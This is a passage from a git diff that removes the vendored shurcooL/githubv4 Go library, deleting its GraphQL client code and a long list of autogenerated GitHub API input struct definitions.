a/vendor/github.com/shurcooL/githubv4/githubv4.go +++ /dev/null @@ -1,56 +0,0 @@ -package githubv4 - -import ( - "context" - "net/http" - - "github.com/shurcooL/graphql" -) - -// Client is a GitHub GraphQL API v4 client. -type Client struct { - client *graphql.Client -} - -// NewClient creates a new GitHub GraphQL API v4 client with the provided http.Client. -// If httpClient is nil, then http.DefaultClient is used. -// -// Note that GitHub GraphQL API v4 requires authentication, so -// the provided http.Client is expected to take care of that. -func NewClient(httpClient *http.Client) *Client { - return &Client{ - client: graphql.NewClient("https://api.github.com/graphql", httpClient), - } -} - -// NewEnterpriseClient creates a new GitHub GraphQL API v4 client for the GitHub Enterprise -// instance with the specified GraphQL endpoint URL, using the provided http.Client. -// If httpClient is nil, then http.DefaultClient is used. -// -// Note that GitHub GraphQL API v4 requires authentication, so -// the provided http.Client is expected to take care of that. -func NewEnterpriseClient(url string, httpClient *http.Client) *Client { - return &Client{ - client: graphql.NewClient(url, httpClient), - } -} - -// Query executes a single GraphQL query request, -// with a query derived from q, populating the response into it. -// q should be a pointer to struct that corresponds to the GitHub GraphQL schema. -func (c *Client) Query(ctx context.Context, q interface{}, variables map[string]interface{}) error { - return c.client.Query(ctx, q, variables) -} - -// Mutate executes a single GraphQL mutation request, -// with a mutation derived from m, populating the response into it. -// m should be a pointer to struct that corresponds to the GitHub GraphQL schema. -// Provided input will be set as a variable named "input". -func (c *Client) Mutate(ctx context.Context, m interface{}, input Input, variables map[string]interface{}) error { - if variables == nil { - variables = map[string]interface{}{"input": input} - } else { - variables["input"] = input - } - return c.client.Mutate(ctx, m, variables) -} diff --git a/vendor/github.com/shurcooL/githubv4/input.go b/vendor/github.com/shurcooL/githubv4/input.go deleted file mode 100644 index 91555f4e46..0000000000 --- a/vendor/github.com/shurcooL/githubv4/input.go +++ /dev/null @@ -1,1751 +0,0 @@ -// Code generated by gen.go; DO NOT EDIT. - -package githubv4 - -// Input represents one of the Input structs: -// -// AcceptEnterpriseAdministratorInvitationInput, AcceptTopicSuggestionInput, AddAssigneesToAssignableInput, AddCommentInput, AddLabelsToLabelableInput, AddProjectCardInput, AddProjectColumnInput, AddPullRequestReviewCommentInput, AddPullRequestReviewInput, AddReactionInput, AddStarInput, ArchiveRepositoryInput, AuditLogOrder, CancelEnterpriseAdminInvitationInput, ChangeUserStatusInput, ClearLabelsFromLabelableInput, CloneProjectInput, CloneTemplateRepositoryInput, CloseIssueInput, ClosePullRequestInput, CommitAuthor, CommitContributionOrder, ContributionOrder, ConvertProjectCardNoteToIssueInput, CreateBranchProtectionRuleInput, CreateContentAttachmentInput, CreateEnterpriseOrganizationInput, CreateIssueInput, CreateProjectInput, CreatePullRequestInput, CreateRefInput, CreateRepositoryInput, CreateTeamDiscussionCommentInput, CreateTeamDiscussionInput, DeclineTopicSuggestionInput, DeleteBranchProtectionRuleInput, DeleteIssueCommentInput, DeleteIssueInput, DeletePackageVersionInput, DeleteProjectCardInput, DeleteProjectColumnInput, DeleteProjectInput, DeletePullRequestReviewCommentInput, DeletePullRequestReviewInput, DeleteRefInput, DeleteTeamDiscussionCommentInput, DeleteTeamDiscussionInput, DeploymentOrder, DismissPullRequestReviewInput, DraftPullRequestReviewComment, EnterpriseAdministratorInvitationOrder, EnterpriseMemberOrder, EnterpriseOrder, EnterpriseServerInstallationOrder, EnterpriseServerUserAccountEmailOrder, EnterpriseServerUserAccountOrder, EnterpriseServerUserAccountsUploadOrder, FollowUserInput, GistOrder, ImportProjectInput, InviteEnterpriseAdminInput, IssueFilters, IssueOrder, LanguageOrder, LinkRepositoryToProjectInput, LockLockableInput, MergeBranchInput, MergePullRequestInput, MilestoneOrder, MinimizeCommentInput, MoveProjectCardInput, MoveProjectColumnInput, OrganizationOrder, PinIssueInput, ProjectCardImport, ProjectColumnImport, ProjectOrder, PullRequestOrder, ReactionOrder, RefOrder, RegenerateEnterpriseIdentityProviderRecoveryCodesInput, RegistryPackageMetadatum, ReleaseOrder, RemoveAssigneesFromAssignableInput, RemoveEnterpriseAdminInput, RemoveEnterpriseOrganizationInput, RemoveLabelsFromLabelableInput, RemoveOutsideCollaboratorInput, RemoveReactionInput, RemoveStarInput, ReopenIssueInput, ReopenPullRequestInput, RepositoryInvitationOrder, RepositoryOrder, RequestReviewsInput, ResolveReviewThreadInput, SavedReplyOrder, SecurityAdvisoryIdentifierFilter, SecurityAdvisoryOrder, SecurityVulnerabilityOrder, SponsorsTierOrder, SponsorshipOrder, StarOrder, SubmitPullRequestReviewInput, TeamDiscussionCommentOrder, TeamDiscussionOrder, TeamMemberOrder, TeamOrder, TeamRepositoryOrder, TransferIssueInput, UnarchiveRepositoryInput, UnfollowUserInput, UnlinkRepositoryFromProjectInput, UnlockLockableInput, UnmarkIssueAsDuplicateInput, UnminimizeCommentInput, UnpinIssueInput, UnresolveReviewThreadInput, UpdateBranchProtectionRuleInput, UpdateEnterpriseActionExecutionCapabilitySettingInput, UpdateEnterpriseAdministratorRoleInput, UpdateEnterpriseAllowPrivateRepositoryForkingSettingInput, UpdateEnterpriseDefaultRepositoryPermissionSettingInput, UpdateEnterpriseMembersCanChangeRepositoryVisibilitySettingInput, UpdateEnterpriseMembersCanCreateRepositoriesSettingInput, UpdateEnterpriseMembersCanDeleteIssuesSettingInput, UpdateEnterpriseMembersCanDeleteRepositoriesSettingInput, UpdateEnterpriseMembersCanInviteCollaboratorsSettingInput, UpdateEnterpriseMembersCanMakePurchasesSettingInput, UpdateEnterpriseMembersCanUpdateProtectedBranchesSettingInput, UpdateEnterpriseMembersCanViewDependencyInsightsSettingInput, UpdateEnterpriseOrganizationProjectsSettingInput, UpdateEnterpriseProfileInput, UpdateEnterpriseRepositoryProjectsSettingInput, UpdateEnterpriseTeamDiscussionsSettingInput, UpdateEnterpriseTwoFactorAuthenticationRequiredSettingInput, UpdateIssueCommentInput, UpdateIssueInput, UpdateProjectCardInput, UpdateProjectColumnInput, UpdateProjectInput, UpdatePullRequestInput, UpdatePullRequestReviewCommentInput, UpdatePullRequestReviewInput, UpdateRefInput, UpdateRepositoryInput, UpdateSubscriptionInput, UpdateTeamDiscussionCommentInput, UpdateTeamDiscussionInput, UpdateTopicsInput, UserStatusOrder. -type Input interface{} - -// AcceptEnterpriseAdministratorInvitationInput is an autogenerated input type of AcceptEnterpriseAdministratorInvitation. -type AcceptEnterpriseAdministratorInvitationInput struct { - // The id of the invitation being accepted. (Required.) - InvitationID ID `json:"invitationId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AcceptTopicSuggestionInput is an autogenerated input type of AcceptTopicSuggestion. -type AcceptTopicSuggestionInput struct { - // The Node ID of the repository. (Required.) - RepositoryID ID `json:"repositoryId"` - // The name of the suggested topic. (Required.) - Name String `json:"name"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AddAssigneesToAssignableInput is an autogenerated input type of AddAssigneesToAssignable. -type AddAssigneesToAssignableInput struct { - // The id of the assignable object to add assignees to. (Required.) - AssignableID ID `json:"assignableId"` - // The id of users to add as assignees. (Required.) - AssigneeIDs []ID `json:"assigneeIds"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AddCommentInput is an autogenerated input type of AddComment. -type AddCommentInput struct { - // The Node ID of the subject to modify. (Required.) - SubjectID ID `json:"subjectId"` - // The contents of the comment. (Required.) - Body String `json:"body"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AddLabelsToLabelableInput is an autogenerated input type of AddLabelsToLabelable. -type AddLabelsToLabelableInput struct { - // The id of the labelable object to add labels to. (Required.) - LabelableID ID `json:"labelableId"` - // The ids of the labels to add. (Required.) - LabelIDs []ID `json:"labelIds"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AddProjectCardInput is an autogenerated input type of AddProjectCard. -type AddProjectCardInput struct { - // The Node ID of the ProjectColumn. (Required.) - ProjectColumnID ID `json:"projectColumnId"` - - // The content of the card. Must be a member of the ProjectCardItem union. (Optional.) - ContentID *ID `json:"contentId,omitempty"` - // The note on the card. (Optional.) - Note *String `json:"note,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AddProjectColumnInput is an autogenerated input type of AddProjectColumn. -type AddProjectColumnInput struct { - // The Node ID of the project. (Required.) - ProjectID ID `json:"projectId"` - // The name of the column. (Required.) - Name String `json:"name"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AddPullRequestReviewCommentInput is an autogenerated input type of AddPullRequestReviewComment. -type AddPullRequestReviewCommentInput struct { - // The Node ID of the review to modify. (Required.) - PullRequestReviewID ID `json:"pullRequestReviewId"` - // The text of the comment. (Required.) - Body String `json:"body"` - - // The SHA of the commit to comment on. (Optional.) - CommitOID *GitObjectID `json:"commitOID,omitempty"` - // The relative path of the file to comment on. (Optional.) - Path *String `json:"path,omitempty"` - // The line index in the diff to comment on. (Optional.) - Position *Int `json:"position,omitempty"` - // The comment id to reply to. (Optional.) - InReplyTo *ID `json:"inReplyTo,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AddPullRequestReviewInput is an autogenerated input type of AddPullRequestReview. -type AddPullRequestReviewInput struct { - // The Node ID of the pull request to modify. (Required.) - PullRequestID ID `json:"pullRequestId"` - - // The commit OID the review pertains to. (Optional.) - CommitOID *GitObjectID `json:"commitOID,omitempty"` - // The contents of the review body comment. (Optional.) - Body *String `json:"body,omitempty"` - // The event to perform on the pull request review. (Optional.) - Event *PullRequestReviewEvent `json:"event,omitempty"` - // The review line comments. (Optional.) - Comments *[]*DraftPullRequestReviewComment `json:"comments,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AddReactionInput is an autogenerated input type of AddReaction. -type AddReactionInput struct { - // The Node ID of the subject to modify. (Required.) - SubjectID ID `json:"subjectId"` - // The name of the emoji to react with. (Required.) - Content ReactionContent `json:"content"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AddStarInput is an autogenerated input type of AddStar. -type AddStarInput struct { - // The Starrable ID to star. (Required.) - StarrableID ID `json:"starrableId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// ArchiveRepositoryInput is an autogenerated input type of ArchiveRepository. -type ArchiveRepositoryInput struct { - // The ID of the repository to mark as archived. (Required.) - RepositoryID ID `json:"repositoryId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// AuditLogOrder represents ordering options for Audit Log connections. -type AuditLogOrder struct { - - // The field to order Audit Logs by. (Optional.) - Field *AuditLogOrderField `json:"field,omitempty"` - // The ordering direction. (Optional.) - Direction *OrderDirection `json:"direction,omitempty"` -} - -// CancelEnterpriseAdminInvitationInput is an autogenerated input type of CancelEnterpriseAdminInvitation. -type CancelEnterpriseAdminInvitationInput struct { - // The Node ID of the pending enterprise administrator invitation. (Required.) - InvitationID ID `json:"invitationId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// ChangeUserStatusInput is an autogenerated input type of ChangeUserStatus. -type ChangeUserStatusInput struct { - - // The emoji to represent your status. Can either be a native Unicode emoji or an emoji name with colons, e.g., :grinning:. (Optional.) - Emoji *String `json:"emoji,omitempty"` - // A short description of your current status. (Optional.) - Message *String `json:"message,omitempty"` - // The ID of the organization whose members will be allowed to see the status. If omitted, the status will be publicly visible. (Optional.) - OrganizationID *ID `json:"organizationId,omitempty"` - // Whether this status should indicate you are not fully available on GitHub, e.g., you are away. (Optional.) - LimitedAvailability *Boolean `json:"limitedAvailability,omitempty"` - // If set, the user status will not be shown after this date. (Optional.) - ExpiresAt *DateTime `json:"expiresAt,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// ClearLabelsFromLabelableInput is an autogenerated input type of ClearLabelsFromLabelable. -type ClearLabelsFromLabelableInput struct { - // The id of the labelable object to clear the labels from. (Required.) - LabelableID ID `json:"labelableId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CloneProjectInput is an autogenerated input type of CloneProject. -type CloneProjectInput struct { - // The owner ID to create the project under. (Required.) - TargetOwnerID ID `json:"targetOwnerId"` - // The source project to clone. (Required.) - SourceID ID `json:"sourceId"` - // Whether or not to clone the source project's workflows. (Required.) - IncludeWorkflows Boolean `json:"includeWorkflows"` - // The name of the project. (Required.) - Name String `json:"name"` - - // The description of the project. (Optional.) - Body *String `json:"body,omitempty"` - // The visibility of the project, defaults to false (private). (Optional.) - Public *Boolean `json:"public,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CloneTemplateRepositoryInput is an autogenerated input type of CloneTemplateRepository. -type CloneTemplateRepositoryInput struct { - // The Node ID of the template repository. (Required.) - RepositoryID ID `json:"repositoryId"` - // The name of the new repository. (Required.) - Name String `json:"name"` - // The ID of the owner for the new repository. (Required.) - OwnerID ID `json:"ownerId"` - // Indicates the repository's visibility level. (Required.) - Visibility RepositoryVisibility `json:"visibility"` - - // A short description of the new repository. (Optional.) - Description *String `json:"description,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CloseIssueInput is an autogenerated input type of CloseIssue. -type CloseIssueInput struct { - // ID of the issue to be closed. (Required.) - IssueID ID `json:"issueId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// ClosePullRequestInput is an autogenerated input type of ClosePullRequest. -type ClosePullRequestInput struct { - // ID of the pull request to be closed. (Required.) - PullRequestID ID `json:"pullRequestId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CommitAuthor specifies an author for filtering Git commits. -type CommitAuthor struct { - - // ID of a User to filter by. If non-null, only commits authored by this user will be returned. This field takes precedence over emails. (Optional.) - ID *ID `json:"id,omitempty"` - // Email addresses to filter by. Commits authored by any of the specified email addresses will be returned. (Optional.) - Emails *[]String `json:"emails,omitempty"` -} - -// CommitContributionOrder represents ordering options for commit contribution connections. -type CommitContributionOrder struct { - // The field by which to order commit contributions. (Required.) - Field CommitContributionOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// ContributionOrder represents ordering options for contribution connections. -type ContributionOrder struct { - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` - - // The field by which to order contributions. **Upcoming Change on 2019-10-01 UTC** **Description:** `field` will be removed. Only one order field is supported. **Reason:** `field` will be removed. (Optional.) - Field *ContributionOrderField `json:"field,omitempty"` -} - -// ConvertProjectCardNoteToIssueInput is an autogenerated input type of ConvertProjectCardNoteToIssue. -type ConvertProjectCardNoteToIssueInput struct { - // The ProjectCard ID to convert. (Required.) - ProjectCardID ID `json:"projectCardId"` - // The ID of the repository to create the issue in. (Required.) - RepositoryID ID `json:"repositoryId"` - - // The title of the newly created issue. Defaults to the card's note text. (Optional.) - Title *String `json:"title,omitempty"` - // The body of the newly created issue. (Optional.) - Body *String `json:"body,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CreateBranchProtectionRuleInput is an autogenerated input type of CreateBranchProtectionRule. -type CreateBranchProtectionRuleInput struct { - // The global relay id of the repository in which a new branch protection rule should be created in. (Required.) - RepositoryID ID `json:"repositoryId"` - // The glob-like pattern used to determine matching branches. (Required.) - Pattern String `json:"pattern"` - - // Are approving reviews required to update matching branches. (Optional.) - RequiresApprovingReviews *Boolean `json:"requiresApprovingReviews,omitempty"` - // Number of approving reviews required to update matching branches. (Optional.) - RequiredApprovingReviewCount *Int `json:"requiredApprovingReviewCount,omitempty"` - // Are commits required to be signed. (Optional.) - RequiresCommitSignatures *Boolean `json:"requiresCommitSignatures,omitempty"` - // Can admins overwrite branch protection. (Optional.) - IsAdminEnforced *Boolean `json:"isAdminEnforced,omitempty"` - // Are status checks required to update matching branches. (Optional.) - RequiresStatusChecks *Boolean `json:"requiresStatusChecks,omitempty"` - // Are branches required to be up to date before merging. (Optional.) - RequiresStrictStatusChecks *Boolean `json:"requiresStrictStatusChecks,omitempty"` - // Are reviews from code owners required to update matching branches. (Optional.) - RequiresCodeOwnerReviews *Boolean `json:"requiresCodeOwnerReviews,omitempty"` - // Will new commits pushed to matching branches dismiss pull request review approvals. (Optional.) - DismissesStaleReviews *Boolean `json:"dismissesStaleReviews,omitempty"` - // Is dismissal of pull request reviews restricted. (Optional.) - RestrictsReviewDismissals *Boolean `json:"restrictsReviewDismissals,omitempty"` - // A list of User or Team IDs allowed to dismiss reviews on pull requests targeting matching branches. (Optional.) - ReviewDismissalActorIDs *[]ID `json:"reviewDismissalActorIds,omitempty"` - // Is pushing to matching branches restricted. (Optional.) - RestrictsPushes *Boolean `json:"restrictsPushes,omitempty"` - // A list of User, Team or App IDs allowed to push to matching branches. (Optional.) - PushActorIDs *[]ID `json:"pushActorIds,omitempty"` - // List of required status check contexts that must pass for commits to be accepted to matching branches. (Optional.) - RequiredStatusCheckContexts *[]String `json:"requiredStatusCheckContexts,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CreateContentAttachmentInput is an autogenerated input type of CreateContentAttachment. -type CreateContentAttachmentInput struct { - // The node ID of the content_reference. (Required.) - ContentReferenceID ID `json:"contentReferenceId"` - // The title of the content attachment. (Required.) - Title String `json:"title"` - // The body of the content attachment, which may contain markdown. (Required.) - Body String `json:"body"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CreateEnterpriseOrganizationInput is an autogenerated input type of CreateEnterpriseOrganization. -type CreateEnterpriseOrganizationInput struct { - // The ID of the enterprise owning the new organization. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The login of the new organization. (Required.) - Login String `json:"login"` - // The profile name of the new organization. (Required.) - ProfileName String `json:"profileName"` - // The email used for sending billing receipts. (Required.) - BillingEmail String `json:"billingEmail"` - // The logins for the administrators of the new organization. (Required.) - AdminLogins []String `json:"adminLogins"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CreateIssueInput is an autogenerated input type of CreateIssue. -type CreateIssueInput struct { - // The Node ID of the repository. (Required.) - RepositoryID ID `json:"repositoryId"` - // The title for the issue. (Required.) - Title String `json:"title"` - - // The body for the issue description. (Optional.) - Body *String `json:"body,omitempty"` - // The Node ID for the user assignee for this issue. (Optional.) - AssigneeIDs *[]ID `json:"assigneeIds,omitempty"` - // The Node ID of the milestone for this issue. (Optional.) - MilestoneID *ID `json:"milestoneId,omitempty"` - // An array of Node IDs of labels for this issue. (Optional.) - LabelIDs *[]ID `json:"labelIds,omitempty"` - // An array of Node IDs for projects associated with this issue. (Optional.) - ProjectIDs *[]ID `json:"projectIds,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CreateProjectInput is an autogenerated input type of CreateProject. -type CreateProjectInput struct { - // The owner ID to create the project under. (Required.) - OwnerID ID `json:"ownerId"` - // The name of project. (Required.) - Name String `json:"name"` - - // The description of project. (Optional.) - Body *String `json:"body,omitempty"` - // The name of the GitHub-provided template. (Optional.) - Template *ProjectTemplate `json:"template,omitempty"` - // A list of repository IDs to create as linked repositories for the project. (Optional.) - RepositoryIDs *[]ID `json:"repositoryIds,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CreatePullRequestInput is an autogenerated input type of CreatePullRequest. -type CreatePullRequestInput struct { - // The Node ID of the repository. (Required.) - RepositoryID ID `json:"repositoryId"` - // The name of the branch you want your changes pulled into. This should be an existing branch on the current repository. You cannot update the base branch on a pull request to point to another repository. (Required.) - BaseRefName String `json:"baseRefName"` - // The name of the branch where your changes are implemented. For cross-repository pull requests in the same network, namespace `head_ref_name` with a user like this: `username:branch`. (Required.) - HeadRefName String `json:"headRefName"` - // The title of the pull request. (Required.) - Title String `json:"title"` - - // The contents of the pull request. (Optional.) - Body *String `json:"body,omitempty"` - // Indicates whether maintainers can modify the pull request. (Optional.) - MaintainerCanModify *Boolean `json:"maintainerCanModify,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CreateRefInput is an autogenerated input type of CreateRef. -type CreateRefInput struct { - // The Node ID of the Repository to create the Ref in. (Required.) - RepositoryID ID `json:"repositoryId"` - // The fully qualified name of the new Ref (ie: `refs/heads/my_new_branch`). (Required.) - Name String `json:"name"` - // The GitObjectID that the new Ref shall target. Must point to a commit. (Required.) - Oid GitObjectID `json:"oid"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CreateRepositoryInput is an autogenerated input type of CreateRepository. -type CreateRepositoryInput struct { - // The name of the new repository. (Required.) - Name String `json:"name"` - // Indicates the repository's visibility level. (Required.) - Visibility RepositoryVisibility `json:"visibility"` - - // The ID of the owner for the new repository. (Optional.) - OwnerID *ID `json:"ownerId,omitempty"` - // A short description of the new repository. (Optional.) - Description *String `json:"description,omitempty"` - // Whether this repository should be marked as a template such that anyone who can access it can create new repositories with the same files and directory structure. (Optional.) - Template *Boolean `json:"template,omitempty"` - // The URL for a web page about this repository. (Optional.) - HomepageURL *URI `json:"homepageUrl,omitempty"` - // Indicates if the repository should have the wiki feature enabled. (Optional.) - HasWikiEnabled *Boolean `json:"hasWikiEnabled,omitempty"` - // Indicates if the repository should have the issues feature enabled. (Optional.) - HasIssuesEnabled *Boolean `json:"hasIssuesEnabled,omitempty"` - // When an organization is specified as the owner, this ID identifies the team that should be granted access to the new repository. (Optional.) - TeamID *ID `json:"teamId,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CreateTeamDiscussionCommentInput is an autogenerated input type of CreateTeamDiscussionComment. -type CreateTeamDiscussionCommentInput struct { - // The ID of the discussion to which the comment belongs. (Required.) - DiscussionID ID `json:"discussionId"` - // The content of the comment. (Required.) - Body String `json:"body"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// CreateTeamDiscussionInput is an autogenerated input type of CreateTeamDiscussion. -type CreateTeamDiscussionInput struct { - // The ID of the team to which the discussion belongs. (Required.) - TeamID ID `json:"teamId"` - // The title of the discussion. (Required.) - Title String `json:"title"` - // The content of the discussion. (Required.) - Body String `json:"body"` - - // If true, restricts the visiblity of this discussion to team members and organization admins. If false or not specified, allows any organization member to view this discussion. (Optional.) - Private *Boolean `json:"private,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeclineTopicSuggestionInput is an autogenerated input type of DeclineTopicSuggestion. -type DeclineTopicSuggestionInput struct { - // The Node ID of the repository. (Required.) - RepositoryID ID `json:"repositoryId"` - // The name of the suggested topic. (Required.) - Name String `json:"name"` - // The reason why the suggested topic is declined. (Required.) - Reason TopicSuggestionDeclineReason `json:"reason"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeleteBranchProtectionRuleInput is an autogenerated input type of DeleteBranchProtectionRule. -type DeleteBranchProtectionRuleInput struct { - // The global relay id of the branch protection rule to be deleted. (Required.) - BranchProtectionRuleID ID `json:"branchProtectionRuleId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeleteIssueCommentInput is an autogenerated input type of DeleteIssueComment. -type DeleteIssueCommentInput struct { - // The ID of the comment to delete. (Required.) - ID ID `json:"id"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeleteIssueInput is an autogenerated input type of DeleteIssue. -type DeleteIssueInput struct { - // The ID of the issue to delete. (Required.) - IssueID ID `json:"issueId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeletePackageVersionInput is an autogenerated input type of DeletePackageVersion. -type DeletePackageVersionInput struct { - // The ID of the package version to be deleted. (Required.) - PackageVersionID ID `json:"packageVersionId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeleteProjectCardInput is an autogenerated input type of DeleteProjectCard. -type DeleteProjectCardInput struct { - // The id of the card to delete. (Required.) - CardID ID `json:"cardId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeleteProjectColumnInput is an autogenerated input type of DeleteProjectColumn. -type DeleteProjectColumnInput struct { - // The id of the column to delete. (Required.) - ColumnID ID `json:"columnId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeleteProjectInput is an autogenerated input type of DeleteProject. -type DeleteProjectInput struct { - // The Project ID to update. (Required.) - ProjectID ID `json:"projectId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeletePullRequestReviewCommentInput is an autogenerated input type of DeletePullRequestReviewComment. -type DeletePullRequestReviewCommentInput struct { - // The ID of the comment to delete. (Required.) - ID ID `json:"id"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeletePullRequestReviewInput is an autogenerated input type of DeletePullRequestReview. -type DeletePullRequestReviewInput struct { - // The Node ID of the pull request review to delete. (Required.) - PullRequestReviewID ID `json:"pullRequestReviewId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeleteRefInput is an autogenerated input type of DeleteRef. -type DeleteRefInput struct { - // The Node ID of the Ref to be deleted. (Required.) - RefID ID `json:"refId"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeleteTeamDiscussionCommentInput is an autogenerated input type of DeleteTeamDiscussionComment. -type DeleteTeamDiscussionCommentInput struct { - // The ID of the comment to delete. (Required.) - ID ID `json:"id"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeleteTeamDiscussionInput is an autogenerated input type of DeleteTeamDiscussion. -type DeleteTeamDiscussionInput struct { - // The discussion ID to delete. (Required.) - ID ID `json:"id"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DeploymentOrder represents ordering options for deployment connections. -type DeploymentOrder struct { - // The field to order deployments by. (Required.) - Field DeploymentOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// DismissPullRequestReviewInput is an autogenerated input type of DismissPullRequestReview. -type DismissPullRequestReviewInput struct { - // The Node ID of the pull request review to modify. (Required.) - PullRequestReviewID ID `json:"pullRequestReviewId"` - // The contents of the pull request review dismissal message. (Required.) - Message String `json:"message"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// DraftPullRequestReviewComment specifies a review comment to be left with a Pull Request Review. -type DraftPullRequestReviewComment struct { - // Path to the file being commented on. (Required.) - Path String `json:"path"` - // Position in the file to leave a comment on. (Required.) - Position Int `json:"position"` - // Body of the comment to leave. (Required.) - Body String `json:"body"` -} - -// EnterpriseAdministratorInvitationOrder represents ordering options for enterprise administrator invitation connections. -type EnterpriseAdministratorInvitationOrder struct { - // The field to order enterprise administrator invitations by. (Required.) - Field EnterpriseAdministratorInvitationOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// EnterpriseMemberOrder represents ordering options for enterprise member connections. -type EnterpriseMemberOrder struct { - // The field to order enterprise members by. (Required.) - Field EnterpriseMemberOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// EnterpriseOrder represents ordering options for enterprises. -type EnterpriseOrder struct { - // The field to order enterprises by. (Required.) - Field EnterpriseOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// EnterpriseServerInstallationOrder represents ordering options for Enterprise Server installation connections. -type EnterpriseServerInstallationOrder struct { - // The field to order Enterprise Server installations by. (Required.) - Field EnterpriseServerInstallationOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// EnterpriseServerUserAccountEmailOrder represents ordering options for Enterprise Server user account email connections. -type EnterpriseServerUserAccountEmailOrder struct { - // The field to order emails by. (Required.) - Field EnterpriseServerUserAccountEmailOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} - -// EnterpriseServerUserAccountOrder represents ordering options for Enterprise Server user account connections. -type EnterpriseServerUserAccountOrder struct { - // The field to order user 